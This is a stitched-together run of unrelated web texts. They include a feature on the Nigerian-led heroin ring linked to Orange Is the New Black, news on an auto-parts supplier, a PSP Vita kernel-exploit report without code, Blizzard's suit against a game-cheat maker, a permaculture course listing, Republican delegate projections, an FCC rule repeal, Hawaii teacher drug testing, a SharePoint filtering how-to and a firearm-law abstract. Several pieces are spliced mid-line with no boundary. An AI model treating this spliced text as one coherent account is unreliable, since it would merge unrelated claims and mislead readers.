This story must begin with the mysterious Nigerian businessman known as Alaji. He haunts the backstory of OITNB at almost every turn, yet never fully materializes. But according to court documents and interviews with people who knew him, the network that Alaji headed up was immense in its scope and ambition. With tentacles on at least four continents, his cartel allegedly employed dozens of money couriers, heroin mules, financiers and middlemen. A larger-than-life Nigerian impresario, Alaji had homes in two countries and used at least three aliases. He owned a bevy of cars and cultivated a playful demeanor that masked a sinister and cunning will to power. The show refers to him only obliquely, but former drug mules like Wolters and Fillmore who knew him personally say that in addition to Alaji, and sometimes Salman Kasman, they also knew him simply as "God." U.S. prosecutors allege that Alaji is really a sitting Nigerian senator named Buruji Kashamu, a longtime supporter of former Nigerian President Goodluck Jonathan. According to Nigerian media outlets, Kashamu allegedly helped orchestrate Jonathan's 2010 election, raising funds and support, and retained a degree of political immunity until Jonathan was ousted in May 2015, when he conceded the subsequent election to Muhammadu Buhari. For 20 years, U.S. authorities have been trying to extradite Kashamu to the States to stand trial.
Alaji's American cell drew its core from a circle of young men and women who spent time in and around Provincetown, Mass., in the early 1990s. The smuggling jobs were attractive to different people for different reasons, according to the mules who spoke with THR. Some got in it for the thrill, others for the fast cash. Alaji's magnetic presence also drew some people in — including Wolter's sister, Ellen, who was romantically entangled with Alaji for about six months. Another original member was a dashing young man named Peter Stebbens, who spoke excellent French and would go on to become one of the Nigerian's most trusted confidants and skilled mules. Wolters says she was exposed to the ring after trying to rescue Ellen from Alaji's grasp. In 1993 she traveled to Europe to help Ellen escape, but wound up joining her sister as a smuggler instead. At first she thought she would be ferrying diamonds, but before long she discovered that her cargo was premium-grade heroin from the Golden Triangle in Southeast Asia.
The first trips were easy. Overseen by more experienced smugglers, Wolters carried Italian suits and leather bags whose linings had been packed with heroin from Paris and Brussels to Chicago, where she handed them off to couriers. "It was as easy as sneaking into a movie theater," Wolters tells THR. "Far too easy."
But the operation quickly got complicated. Alaji seemed to be running multiple plans on several continents. Perhaps in a calculated exaggeration, he told Wolters that together they were part of a much larger operation, one in which even he was a bit player. He told Wolters that there was a rating system in which people were given "stars" — he had 16 stars whereas those above him might have as many as 24. He cautioned her that working for the Russians could get you killed; the Arabs would double-cross you. He bore a striking resemblance to Wesley Snipes, exuded power and authority, but leavened it with a jovial goofiness. More couriers were brought in, including Fillmore, who soon became a senior coordinator. Soon, mules were flying into the United States through numerous airports several times a year, bringing with them massive loads of heroin each time. "We made him millions," says Fillmore. "If we brought back six bags, for every $60,000 we got, he got ten times more."
Wolters says the logistical arrangements Alaji had set up for drug and cash transfers ranged from ad-hoc to highly organized. Heroin-laden mules were expected to go to specific prearranged hotels upon arrival. Alaji told them to call him upon arrival and then wait — everything else happened "as if by magic," Wolters says. They'd wait for hours or days, sometimes up to a week, for a courier to arrive and fetch the goods. A third party would deliver payment. Mules weren't allowed to leave their rooms until the packages had been delivered, so they ordered take out and watched TV to pass the time. Couriers arrived in all shapes and sizes, "from PTA moms to Cabrini-Green gangsters," says Wolters, alluding to the notorious former housing project on Chicago's North Side. In Jakarta well-dressed Brazilians would meet them. A knock on the door of a Chicago hotel would reveal a man who looked like a mobster from central casting. In Benin, they once saw a group of well-heeled French tourists in an SUV who formed another arm of Alaji's network.
All the while, Alaji made sure Wolters and other couriers knew he watched them closely. He told Wolters that he monitored her sister and her own family. He commanded Fillmore to provide his parents' home address. He also flatly told them that he had killed before and, while it was distasteful to him, wouldn't hesitate to do so again. "He told us about two brothers he'd had to kill in Philadelphia; it made him very sad," Wolters recalls. "He said, 'Don't ever make that happen.'" (There is no available evidence supporting this assertion.) Fillmore, Wolters and others were by now hard at work trafficking heroin. All of them, no matter their rank — including Piper Kerman, who dealt in funds, not drugs — were subject to Alaji's constant scrutiny.
Piper Kerman
The Thrill of the Smuggle
For the mules, the workaday business of running drugs was thrilling. But the fear factor mounted quickly, and soon Wolters began to worry for her and her sister's lives. They were making so many trips a year — to Europe and Asia, primarily — that they routinely had to "lose" their passports to avoid suspicion with immigration authorities.
Wolters began seeking a way out for herself and her sister. Alaji seemed to have other plans. In late 1993 he flew Wolters, her sister and Fillmore down to the coastal town of Cotonou, Benin, Nigeria's western neighbor, where he maintained a lavish complex. For Wolters, who grew up in an "upper-middle-class Ohio" neighborhood outside Cleveland, the trip was exotic. In the midst of bleak poverty, Alaji occupied a marble-floored mansion with black leather furniture and a dining room table that sat 16 people comfortably. Outside was a kidney-shaped swimming pool, and along the mansion's perimeter an 8-foot cement protective wall topped with shards of cut glass and patrolled by barefoot machine-gun-wielding guards. A Maserati, a Lamborghini and a Mercedes 500SL were parked in the driveway. Alaji threw lavish dinner parties and invited local and international dignitaries, including an Italian general, diplomats and Beninese military officers. Fillmore came away with the sense that Alaji was employed as the chief of security for the Beninese president, though he could never be sure.
The drug lord took his mules — he always called them his "American friends" — to the local Sheraton Hotel, where they lounged around an Olympic-sized pool before returning to the mansion where his cook served up meals of freshly slaughtered goat. Alaji was alternately charming and sinister. "I love all you people," Fillmore recalls the Nigerian saying, in a deep, bass voice tinged with accents of French and Yoruba, "I want you to be here with me."
Once, for fun, the group traveled to a nearby open-air voodoo market where monkey heads, seashells and animal claws were on offer. Alaji told them snippets about his past: He said he had grown up in a small village, spent time in African jails, and been shot once during a local political conflict. Ostensibly a Muslim, Alaji made no secret of his abiding affinity for black magic and consulted regularly with a group of marabout priests, religious figures whose syncretic faith blended aspects of Catholicism, animism and Voodoo. One day Alaji took the group to a soothsayer who occupied a temple devoted to a local snake god to see if they were "dangerous" to him. Back at the mansion, Wolters says Alaji had his cook boil up "an invisibility concoction" that had helped shield him from bullets in the past. Then he told Wolters that she would have to take a bath in it as well. "Maybe it worked," she says. "It was awfully easy going through customs."
But while Alaji's belief system blended the anachronistic and the pragmatic, his drug smuggling network was modern and efficient. Global drug shipments originating in Asia were routed through Europe, and sometimes Africa, destined mostly for the U.S market. "He's not the first Nigerian politician to be accused of connections with drug smuggling," says John Campbell, a former U.S ambassador to Nigeria and a fellow at the Council on Foreign Relations, "Twenty years ago there was a kind of epidemic of Nigerian involvement in heroin trade into the U.S." Campbell says traffickers of Alaji's era and ilk often used women as drug mules including some from "quite prominent families, who would find themselves arrested at JFK for drug smuggling." Those who got caught could face years in prison. If they weren't killed first, mules carrying heroin-filled condoms stuffed into coat linings, swallowed or crammed into the orifices of their bodies, traveled from Asia through Africa and on to Europe and North America where Nigerian street gangs would handle distribution. For a long time, Campbell says, "it was Nigerians who dominated heroin trade in the U.S."
John Campbell
In this era, there were more than a few young Americans eager to make a quick buck and put everything on the line — though some were out for more than money or adventure. According to one of the mules who had a close relationship with Alaji(who spoke to THR on condition of anonymity), many of the mules were gay men desperate to find ways to pay for expensive anti-retroviral AIDS medicine for themselves or their HIV-positive lovers. "It was great to be able to say to my friends: go buy your medicine, or go party, don't worry about it," says this former mule, who spent several years in prison for her involvement in the ring, "I gave money away. It wasn't a Robin Hood thing, but it felt like that in a sense." Though she wouldn't say how much she made, in general the mules tended to make tens of thousands of dollars a year, mostly in large chunks.
But as Alaji's operations expanded, so did the risks. Fillmore's disastrous trip during which he lost the suitcase was an example. "I was supposed to meet a guy in Zurich and grab a bag off him and he never showed," Fillmore recalls. Fillmore — who has written his own account of that time in his life, titled Smuggler, which he is shopping around to book publishers — says he immediately called Alaji and told him the bag and its carrier had never materialized. "I never dreamed things could go badly so simply. Nobody fessed up; I just don't know what happened." Alaji wasn't happy. He summoned Fillmore back to Benin and told him they would sort it out once he got there. Fillmore would have to "take an oath." A well-spoken English major who studied poetry at the University of New Hampshire with Charles Simic, Fillmore knew that he could be killed on the spot if Alaji couldn't be convinced.
So there he was — stuck in the back of an SUV on a four-hour car ride up to the northern edges of Benin, where he and Alaji skirted the border with Nigeria, heading into the bush. After a couple of excruciating hours, Alaji pulled the convoy over for a rest stop. "You okay Nicky?" the Nigerian quipped in his booming voice, a mischievous smile on his face.
Eventually they arrived in a village where a local headman wearing a papier-mache mask and a black crucifix was holding court. A group of marabout priests led Fillmore and Alaji into a tent where the examination began. It lasted for hours and involved much shouting in French, English and two dialects of Yoruba, Alaji's native tongue. Finally, Alaji turned to his mule. "Everything will be OK, I will fight for my side," Alaji told Fillmore. "Now you take an oath." Fillmore pledged allegiance never to tell a soul about his work with the drug lord. When he looked down later, he saw that a thorn had been stuck in his arm.
Later, Alaji took Fillmore aside. "You cannot be a man if you talk about people," he said, "Perhaps one day you'll become sick." Fillmore knew he had to keep quiet. The voodoo priests had done their job.
Nicholas Fillmore
The Feds Close In
But U.S. authorities were doing their job, too. In March 1994, another member of the American cell named Kary Hayes was arrested at O'Hare with a suitcase containing 14.16 pounds of heroin. Within a year, the Feds had nabbed virtually all of the dozen or so active mules, including Fillmore. Two members remained at large — Alaji and one mule.
Wolters remembers the night the police came for her. She was leaving home and suddenly an army of police cruisers had surrounded her sedan. Like most of the other arrestees, she started talking almost immediately. The only one who didn't was Peter Stebbens, who decided to take his case to court. He lost and spent several years in prison. Others, like Piper Kerman, received shorter sentences.
Alaji himself managed to slip through the net — for a time. While U.S. prosecutors were building their case, he remained at large, his whereabouts unknown. American authorities filed a warrant for his arrest. Then, in 1998, in a surprising break, a Nigerian businessman named Buruji Kashamu showed up at London Heathrow airport carrying $230,000. On the understanding that Kashamu might be the mysterious Alaji, Metropolitan Police promptly arrested him.
During the extradition proceedings, however, a series of missteps by U.S. officials upset the case and contributed to a multiyear legal drama that was harmful to U.S.-U.K relations. When a British magistrate discovered that officials from the U.S. Department of Justice had failed to disclose key information to U.K. authorities — namely that Fillmore had been unable to properly identify Kashamu in a photo lineup — he promptly threw out the case.
A second extradition request was filed, to which Kashamu then had an answer: It was all a sad case of mistaken identity, he claimed. The Nigerian insisted that, contrary to what U.S. authorities were saying, he had long been an informant for the Nigerian drug enforcement agency, the NDLEA. Furthermore, Kashamu said, he had told the NDLEA about his own brother, Adewale, who resembled him and was the drug trafficker they were looking for. NDLEA officials countered that Adewale had been killed during a raid, but later had to concede that he may have lived longer than they believed when Kashamu's lawyers provided a passport that offered strong evidence that Adewale had been alive at the time of the supposed death.
A frantic back and forth ensued, with Assistant U.S. District Attorney Diane Macarthur sending urgent faxes to the DEA's field officers based in Lagos as they tried to get to the truth in time for looming court proceedings in London. Yet in the end, the legal challenges dragged on for years as each new piece of evidence presented U.S. officials was rebutted and challenged from Nigeria. Kashamu's lawyers were providing letters on NDLEA letterhead categorically stating that he had been an invaluable tool in the fight against illicit narcotics in West Africa. But the NLDEA told U.S authorities that these letters were forged and that Kashamu was, in fact, a "wanted drug smuggler" and should be immediately extradited to the U.S. In March 2001, the NLDEA wrote to American authorities that Kashamu "had, at no time, been an informant of this agency nor has the agency had cause to reward him for anything." Later that year, another NDLEA missive stated that any claims by Kashamu or his lawyers about his being an informant were "absolutely false."
Miffed by the legal flubs and the confusion surrounding Kashamu's identity, the British magistrate found the U.S. case increasingly problematic. The evidence supplied by American authorities, he said, "has now been so undermined as to make it incredible and valueless," according to court documents.
Buruji Kashamu
After five years in custody, U.K. authorities sent Kashamu back to Nigeria in 2003.
There, he immediately got back to work. He opened up several import-export businesses, dealing in everything from rice to cars. And then he got into politics. "You sort of feel this voodoo had something going for it," says Fillmore. Back in the U.S., meanwhile, Wolters, Kerman and the others were headed to jail, and the seeds of Orange Is the New Black were being sown.
Now, more than two decades after the first arrest took place and 12 years after he was released from British custody, Kashamu's case is heating up again. Last year, armed police showed up at Kashamu's Lagos home to arrest him. A spokesman for Kashamu said the then-senator elect hadn't been arrested but was "under siege." Nigerian media outlets reported that a terrified and paranoid Kashamu hid from the agents in his bathroom. Repeated requests by THR to reach Kashamu through his lawyers in Nigeria and the United States were rebuffed. ("Sen. Kashamu will not be available for an interview," said one of his U.S attorneys, Matthew Piers, "The same is true for his legal counsel, both here and in Nigeria.")
Since then, the NDLEA has tried to seize some of Kashamu's properties, including real estate holdings that include a Best Western hotel. U.S. officials won't comment, except to say that the case is ongoing, and they remain committed to extraditing him to stand trial in the U.S. "The case is still pending in the U.S.," says Peter Carr, a DOJ spokesperson, "[The] goal is to get somebody to the U.S."
As for the mules caught up in the bust, many remain scared of the long reach of the mysterious Nigerian they knew as God, the man they called Alaji but whom they assume is Kashamu. "I can almost hear him laughing, saying, 'They tried to get me, but I'm too smart for them,'" says Fillmore. "But you can't help but think that the wheel is going to turn against him one of these days."Wolters, who lives in a woody patch of rural Ohio, not far from where she was raised, remains scarred by her smuggling days. "I'm still scared of him," she says, "But the one thing that has done the most to alleviate my fears is the popularity of Orange Is the New Black. By being a public figure I'm less afraid of him."
Cleary Wolters' memoir Out of OrangeJACKSON, Mich. -- When business was at its best, auto-parts supplier Bill Miller had 225 employees. Now he's got three, and two of them are breaking down hulking parts-making machines to sell as scrap metal.
Miller has got work lined up -- an order for 7,000 parts from General Motors -- but he's so deeply in debt that he can't pay for the raw materials or the workers he needs to fire up his production line and start making parts at his plant, which sits 70 miles west of Detroit. While some of America's biggest companies are getting a bailout from Washington, Miller has been rejected by two banks for a loan that could keep his business afloat and keep jobs in this town of 34,000.
"They don't want to help small businesses," Miller said of the banks. "But I gotta get some iron castings in here so I can get my orders going and get some cash flow in. It's going to be hand-to-mouth."
Miller is emblematic, industry trade groups say, of the struggles facing the 5,000 auto-parts suppliers across the country as they struggle to survive in the aftermath of the massive downturn in the auto industry and the GM and Chrysler bankruptcies. Analysts predict that 600 suppliers could go under over the next two years.
For four decades, Miller's company, Miller Industrial Products, has been churning out brake rotors, hubs, drums and pads for the auto industry. He thought he might get a break recently when GM ordered about $250,000 worth of new parts and the automaker sent word that it would pay him $150,000 for work already rendered.
But then the reality of the lending market settled in. Miller, who is best known as "Billy" to friends and locals, went to Citizens Bank, where his uncle and cousin once served on the board of directors. The bank rebuffed his request for a $35,000 loan.
He called another local bank for the same amount, but was told that with his debts, he is pretty much "unbankable." He owes $5,000 to a company that sells cutting tools, another $5,000 to a steel company, and $6,000 to a guy who paints the parts. And he is three months behind on the $8,300-a-month mortgage on his plant.
Sure, the money coming in looked promising. But as one banker said, "It's like getting a bite of steak when you haven't eaten in three weeks."
"It's good, but it's not going to go very far," said John Waldron, the vice president who handles commercial lending at County National in Jackson. "You're still starving."
Instead, Miller on Monday took out a $20,000 line of credit on a personal credit card. Using that and a small payment from GM, he paid two foundries $28,000 he owed. But he said one foundry is demanding prepayment for any future materials.
Things, of course, weren't always this way.
Miller's father -- the son of a German immigrant who once repaired wooden wheels for buggies -- began making auto parts in the late 1960s. Miller started working for his father at the age of 10, sweeping floors and picking up scraps. A clean-cut teenager with brown hair, Miller spent evenings rebuilding a red 1931 Model-A Ford. He graduated from a local Catholic high school and studied engineering at a community college before joining the Air Force. After a stint in the service, including time in Vietnam, he came home to work at the plant.Famous PSP dev Davee just posted a youtube video showing him running PSP homebrews on a Vita. I initially thought “well, not a big surprise, he’s running his own port of VHBL to some random exploited game”, but it turns out this is much more interesting than that, as he managed to get a PSP Kernel exploit running on the PSP Emulator. Davee had hinted a few days ago on twitter that he had PSP User mode access, but it’s a surprise to see Kernel mode today. What this means to the end user is full homebrew compatibility (unlike VHBL which is hit and miss), and potentially down the road, PSP iso loaders ( the video actually shows a psp iso running the video shows a regular PSN game being loaded from the launcher). Check his video below:
The video shows a minimalist interface called “PRX Loader” which seems to be used to run the homebrews. No word from Davee yet on a release date.
[Update] The end of the video also shows some gameplay of Ratchet and Clank, which indicates Davee already has PSP isos working to some extent on this exploit.
[Update 2] Davee told that this is actually a regular bought PSN game that we see running on this video, not an iso “per se”.
I don’t know what impact this will have on wth’s release for VHBL. We had actually started the process, but Davee’s work might make VHBL fairly irrelevant. I’ll try to contact the involved people to know what to do next about that.
Congrats Davee, exciting times ahead!
Thanks to Yoti for the tip!Blizzard Entertainment has filed a motion for default judgment against Bossland, the maker of several popular game cheats and hacks. The game developer requests the minimum statutory copyright damages of $200 per infringement, arguing that the cheat maker sold at least 42,818 of its hacks in the U.S.
Over the years video game developer and publisher Blizzard Entertainment has released many popular game titles including Overwatch and World of Warcraft.
While most gamers stick to the rules, there’s also a small group that tries to game the system. By using cheats, they play with an advantage over regular users.
The German outfit Bossland is behind several popular cheats including “Honorbuddy”, Demonbuddy, and the currently unavailable “Watchover Tyrant”. Blizzard has been fighting the company on its home turf for several years already and filed a complaint at a federal court in California as well last year.
In the complaint, Blizzard accused the cheat maker of various forms of copyright infringement, unfair competition, and violating the DMCA’s anti-circumvention provision. According to Blizzard the bots and cheats also caused millions of dollars in lost sales, as they ruin the games for many legitimate players.
After Bossland had failed to have the case dismissed over a lack of jurisdiction, things went quiet earlier this year. Bossland stopped responding, and when the Court gave the German company a 24-hour ultimatum to reply, it remained silent.
The WoW Honorbot
In response, Blizzard has now submitted a motion for default judgment. According to the game developer, it is clear that Bossland violated the DMCA by selling its “circumvention” tools and it demands to be compensated in return.
Blizzard says it prefers a conservative estimate of the damages. Bossland previously testified that it sold 118,939 products to users in the United States since July of 2013, and Blizzard projects that at a minimum, 36% of these sales were cheats for their games.
This translates to 42,818 infringements for a total of well over $8 million is statutory damages.
“In this case, Blizzard is only seeking the minimum statutory damages of $200 per infringement, for a total of $8,563,600.00. While Blizzard would surely be entitled to seek a larger amount, Blizzard seeks only minimum statutory damages.
“Blizzard does not seek such damages as a “punitive” measure against Bossland or to obtain an unjustified windfall,” the game developer adds (pdf).
According to Blizzard, it is a “calculated and bad-faith tactic” of the German cheat manufacturer to go for a default judgment. In doing so, the company tries to shield its alleged unlawful conduct from the reach of United States.
Adding to that, the game developer believes that Bossland’s revenue from the cheats may have been even higher than the damages they are asking for.
“Notably, $200 approximates the cost of a one-year license for the Bossland Hacks. So, it is very likely that Bossland actually received far more than $8 million in connection with its sale of the Bossland Hacks.”
Since Bossland failed to defend itself, it is likely that Blizzard will get a substantial damages award. However, whether they will ever see a penny from the cheat maker is less certain.
Update: Bossland CEO Zwetan Letschew informs us that his company may take action after the default judgment comes in.
“We only filed a motion to dismiss the case, as US courts have no jurisdiction. The motion was declined, we will appeal the decision on the motion to dismiss, once the default judgment is served.”
“Bossland GmbH has no business in the US, we have no offices there, no employees, we do not advertise there, nor use us based companies.”
Additionally, Letschew points out that the average license isn’t anywhere near $200. That’s only for the legendary package of which they sold less than 100 copies to date.Photos from past Permaculture Design Certificate Trainings
2019 Permaculture Design Certificate
We will be offering one PDC this year. It will be another modular course with three, 3-Day weekends of Fridays through Sundays. This course will be taking place out at the property of Pam and Duane Schumacher outside of Cottage Grove, near Deerfield. It is only 25minutes out of Madison’s eastside. There are gardens, open space waiting for design and wetland. Also, beautiful old oak trees and a heated garage for inclement weather.
The PDC Training is Led by Kate Heiber-Cobb, founder and coordinator of the Madison Area Permaculture Guild, and Marian Farrior, educator and permaculturist and other area permaculturists and experts. Hands-on projects and tours are included in our learning.
The Madison Area Permaculture Guild’s PDC Model offers a variety of instructors over a 72 hour training. We will be relying upon the expertise and knowledge of people within our wider communities, instead of instructors from other climates and zones coming in to teach. Over half of our training hours involve participatory education, hands-on projects and local tours, so don’t plan on sitting in a classroom for very long!
April 12th, 13th and 14th; 9 am – 5 pm
May 17th, 18th and 9th; 9-5 (except a longer Saturday on this weekend)
June 7th, 8th and 9th; 9-5
Topics covered:
Permaculture Design and Natural Systems
Soil Building and Ecosystems
Foraging and Wild Crafting
Fungi – food, soil and remediation
Water Harvesting, Management and Remediation
Plant Guilds and Forest Gardens
Natural Built Environment
Energy Systems
Invisible Systems, Social Permaculture and Community Building
Large and Small Scale Permaculture
Intensive Food Systems and Animals
Urban Permaculture Solutions
Biomimicry and Patterns
Participatory Education – our collective knowledge of all the students and instructors is greater than any one of us.
$1,000 if registered before March 15th. $1050 if after, until filled.
Some scholarships will be available. Payment plans offered if sign-up is early enough to have it paid off before the course ends in May. You can register and pay through the brown ticket tab. (Please note the two different courses being offered this year.) If you do need scholarship help and a payment plan please contact Kate at 608-213-2230 or e-mail her at kateheibercobb@gmail.com
Required Reading for all Students
Your choice of either ONE of these books. You only need to read one or the other (or you can read both if you want to). You must complete reading the book you choose BEFORE CLASS STARTS. It may be possible to borrow a book from someone on the MAPG Google Group. To join the group, go to the Get Involved tab for instructions. Then ask the group if you can borrow a book.
Testimonials from our past PDC Students:
The PDC course through the MAPG has renewed my sense of hope, excitement and purpose to collectively participate in creating a healthier, more holistic and sustainable world.
This is a beautiful locally put-on PDC course and very valuable to empowering community change.
As a landscape designer with traditional horticulture training, I found many common landscape practices wasteful, in contrast to nature and downright disturbing. Learning permaculture concepts and practices has given me new enthusiasm and eagerness to help my clients create landscapes of usefulness, sustainability and beauty. – A local Landscape Architect PDC student
This should be an exciting and fun experience!
To register for the 3, 3-Day weekend Spring/Summer PDC please fill out registration form and mail this and a check payable to MAPG to 5310 Winnequah Rd., Monona WI 53716. If you need to make arrangements to make payments please contact Kate H-C at 608-213-2230 or e-mail her at kateheibercobb@gmail.com.
PLEASE CONTACT KATE AT kateheibercobb@gmail.com FOR REGISTRATION FORM.
Lodging for either sessions:
Nearby Camping
Stay with a Permaculture Guild Member – please contact us (see registration) if you would like to explore this option
Registration
$1,000 if registered before March 15th. $1050 if after until filled.Assessing Trump’s path to 1,237
A look at the remaining contests shows how he could get there
Kyle Kondik and Geoffrey Skelley, Sabato's Crystal Ball
About a month ago, after Donald Trump won the South Carolina primary and all of its delegates, we headlined a piece “The Hour is Growing Late to Stop Trump.” Well, the hour has grown later, and we have to ask the question: Has Trump been stopped?
Certainly not. And a look ahead at the remaining contests calls into question the ability of the other candidates, Ted Cruz and John Kasich, to prevent him from winning the requisite number of delegates to clinch or come close to clinching the Republican nomination.
The magic number is 1,237 delegates, and our own rough calculations show Trump just getting over the hump with 1,239. But that involves Trump winning the lion’s share of the delegates in places as diverse as Wisconsin, New York, Indiana, West Virginia, New Jersey, and California. Table 1 shows these projections, which represent our best guess as to the state of the race right now.
Table 1: Crystal Ball Republican delegate projections for remaining contests
Note: “Other” is made up of delegates committed to candidates who have now exited the race, expressly uncommitted delegates, and delegates who will remain technically unbound.
These projections are based off a few different factors, such as racial/ethnic demographics, voting history, religious populations, and regional primary voting so far, where available. The post-March 22 delegate starting point is based on The GreenPapers’ calculations.
In Wisconsin, Trump may benefit from a Cruz-Kasich split and also may hold the advantage in a number of congressional districts that have lower percentages of college graduates and lower median incomes. We see Kasich potentially winning a couple of districts with higher median incomes that performed strongly for Romney in the 2012 GOP primary. We also handed Cruz the heavily Republican Fifth District, as he has performed better among stalwart conservatives, and the Sixth District next door.
For upcoming Northeastern primaries, we used the primary vote in Massachusetts, New Hampshire, and Vermont as a marker. We averaged the three candidates’ vote percentages from those states, then took the remaining vote (for the withdrawn candidates) and apportioned 50% of it to Kasich and 25% to both Cruz and Trump, resulting in Trump 47.5%, Kasich 35.0%, and Cruz 17.5%. In part, this was to see what would happen if Trump fell short of a majority in primaries outside of his home state of New York. In Connecticut, we said Trump would win every congressional district, but that Kasich would pick up six delegates via the state’s proportional method for allocating statewide delegates. Next door in Rhode Island, the heavily proportional statewide and district delegates work out to Trump winning eight of the 19 delegates in the Ocean State. In New York, we figured that Trump would get a slight home-state bump to win a majority statewide, and we also gave him a majority in about half the state’s districts, keeping him under in 14 seats to give Kasich 14 delegates from the Empire State. In Delaware, any Trump plurality would earn him all 16 delegates, which we foresee as likely in the First State. And in Pennsylvania, Kasich may give Trump a run for his money and do better than 35%, but we still see Trump as a slight favorite to win the 17 statewide delegates up for grabs on April 26.
Moving to May, we again looked at individual district data to help forge a projection in Indiana. With Trump’s success in Kentucky and the Appalachian parts of lower Ohio, we see him having the edge in most of the state’s four more southern districts. We also think it’s possible he can win the First District as it holds some similarities to districts in Illinois where his delegates found success. We handed Kasich the highly-educated suburban Fifth District, as well as the Third, which borders northern Ohio, and we gave Cruz the Second and Fourth Districts. On May 10, West Virginia, could very likely wind up being a winner-take-all state for Trump, which is how we projected it in this scenario. Considering his success in other parts of the Great Plains, we gave Cruz the winner-take-all state of Nebraska that same day.
The Pacific Northwest is harder to gauge, so we gave Trump narrow wins at 39% statewide in proportional Oregon and Washington, with Cruz and Kasich defeating Trump in a few congressional districts in the Evergreen State. |
postage stamp honoring Kuznetsov
Nikolai Ivanovich Kuznetsov has been posthumously awarded the honorary title of Hero of the Soviet Union. A minor planet 2233 Kuznetsov discovered in 1972 by Soviet astronomer Lyudmila Zhuravlyova is named after him.[5] Kuznetsovsk, a city in Volhynia, was named after the Soviet agent (renamed in 2016 to Varash conforming to a law prohibiting names of Communist origin).[6]
Films about Kuznetsov [ edit ]
Kuznetsov's victims [ edit ]
Kuznetzov's main target, Nazi Party official Erich Koch, survived World War II and outlived his Soviet "nemesis"; dying of old age in a Polish prison in 1986 at the age of 90.
Unsuccessful attempts [ edit ]Federal Communications Commission Chairman Julius Genachowski announced the elimination of 83 outdated and obsolete agency rules on Monday, including the controversial Fairness Doctrine.
“The elimination of the obsolete Fairness Doctrine regulations will remove an unnecessary distraction. As I have said, striking this from our books ensures there can be no mistake that what has long been a dead letter remains dead," Genachowski said in a statement.
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"The Fairness Doctrine holds the potential to chill free speech and the free flow of ideas and was properly abandoned over two decades ago. I am pleased we are removing these and other obsolete rules from our books."
The rule required broadcasters to cover controversial issues in a manner deemed fair and balanced by the FCC. The commission deemed it unconstitutional in 1987 and ceased enforcement.
Some Democrats had suggested reviving the Fairness Doctrine in recent years in reaction to the partisan nature of cable news. Republicans were pushing the FCC to scrap it once and for all.
Genachowski previously pledged to strike the Fairness Doctrine and other antiquated rules as part of the Obama administration's ongoing regulatory review aimed at reducing the burden on businesses. The administration recently expanded the review to include independent agencies.
More from The Hill:
♦ Google dominates online video rankings
♦ Support grows for AT&T, T-Mobile merger
♦ Schumer: Wireless providers should disable stolen phones
♦ Lawmaker: BART went 'too far' cutting cell service
“Our extensive efforts to eliminate outdated regulations are rooted in our commitment to ensure that FCC rules and policies promote a healthy climate for private investment and job creation," Genachowski said. "I’m proud of the work we are doing toward our goal of being model of excellence in government."
The FCC also said it will delete the obsolete "broadcast flag" rules along with 50 other regulations that have already been removed. Genachowski said the agency's work is not done, and he has directed the head of each agency bureau to review rules in their areas with a goal of eliminating or revising rules that place needless burdens on businesses.There will be no random drug testing of Hawaii public school teachers. A battle that began in 2007 came to a quiet end earlier this month, when the state government imposed its "last, best, and final" offer to the teachers union -- an offer that does not include random drug testing.
Hawaii teachers won't have to provide these to keep their jobs. (image via wikimedia.org)
The controversy began when the state Board of Education inserted language into the union contract saying the union and the board "shall establish a reasonable suspicion and random drug and alcohol testing procedure for teachers." The language came in the wake of a handful of widely publicized drug busts of teachers in Hawaii in previous years.Hawaii State Teachers Association members voted to ratify the contract, but soon, teachers and the HSTA, along with civil libertarians, raised concerns about random drug testing and balked at going along with that contract provision. Gov. Linda Lingle (R) accused teachers of not acting in good faith, and the provision was stalled by challenges at the Hawaii Labor Relations Board and in state court.The random testing provision ran into another obstacle when the Board of Education in 2008 refused to pay for the tests. The board argued that the nearly half million dollar cost could be better spent in the classroom.Neither the board nor the union have commented publicly on the demise of the random drug testing provision, but, unsurprisingly, the ACLU is quite happy."The ACLU is pleased that none of Hawaii's educators has been subjected to unconstitutional random drug testing," said Daniel Gluck, senior staff attorney for the ACLU of Hawaii. "I'm fairly confident it's not going to come up again," he told the Honolulu Star-Advertiser While random drug testing is gone, the board and the union agreed to continue a "reasonable suspicion" drug and alcohol testing policy. Under that policy, teachers who test positive face suspensions of from five to thirty days and will be asked to resign after a third positive test result. Teachers who admit to being impaired or on drugs prior to being tested will not be suspended, but will be required to submit to drug testing for up to a year.The dropping of the random drug testing provision is one of the few bright spots for Hawaii teachers in the new contract. They may not have to pee in a cup for no good reason, but they will have to endure wage cuts and higher health care premiums.So, this is a fairly common use-case and requirement that FilterZen easily delivers a workable solution for. (I think we have this topic covered in a forum thread or two, but a quick "authorative" blog post on this can't hurt.)
Here's your situation:
you have a SharePoint List View (or Library View) with folders shown. Easy, simple, your users know how to work with that.
you have it connected to a Filter Web Part so that users can easily "search" locally within that List View, without needing SharePoint's Search UI.
your users appreciate the display of folders, but also would like to be able to "search in all folders" when they begin specifying filter criteria.
By default, this won't happen. By default, any Filter Web Part will only work with what's contained in the current folder and not include sub-folders. More to the point, by default any "filters set on the List View" only affect what the View would otherwise show. The View would only ever show either items inside the current folder (or, if the View has been set up that way, show a flat list of everything regardless of folders).
The FilterZen solution...
Open your FilterZen Web Part's settings tool-pane (via its Web Part menu / Edit option)
In the Filtering Mode section, enable the " CAML Direct filtering mode "
" From the drop-down labelled "...attempt to override the default display of folders", select " Show files/items and sub-folders across all folders "
" Apply your changes to the Filter Web Part; then open Site Settings / FilterZen Studio / Configuration and expand the User Experience section
Ensure the "Override display of folders only when filters are active" check-box option is selected/activated/ticked.
...and what it actually does:
the last step listed above ensures that FilterZen only overrides your View's original "show folders or all items flatly" setting when any filtering is actually performed on that View. This way, initially you can have the List View provide the user-friendly "folders and sub-folders" navigation, but users also get to "search" (apply filtering) across all items in the List/Library View regardless of their folder location, by having FilterZen temporarily turn off the List View's "show folders" setting just when it would get in the way of the search.Abstract
Mass murders in Dunblane, United Kingdom, and Port Arthur, Australia, provoked rapid responses from the governments of both countries. Major changes to Australian laws resulted in a controversial buy-back of longarms and tighter legislation. The Australian situation enables evaluation of the effect of a national buy-back, accompanied by tightened legislation in a country with relatively secure borders. AutoRegressive Integrated Moving Average (ARIMA) was used to predict future values of the time series for homicide, suicide and accidental death before and after the 1996 National Firearms Agreement (NFA). When compared with observed values, firearm suicide was the only parameter the NFA may have influenced, although societal factors could also have influenced observed changes. The findings have profound implications for future firearm legislation policy direction.
Introduction
Worldwide, the development of legislation aimed at reducing levels of firearm-related death has become a significant issue within the spheres of public health, public safety and criminal justice. However, relatively little research to date has addressed the impacts of significant epochs of regulatory reform upon firearm-related deaths in countries like Australia, where strict firearms regulations were introduced in 1996.
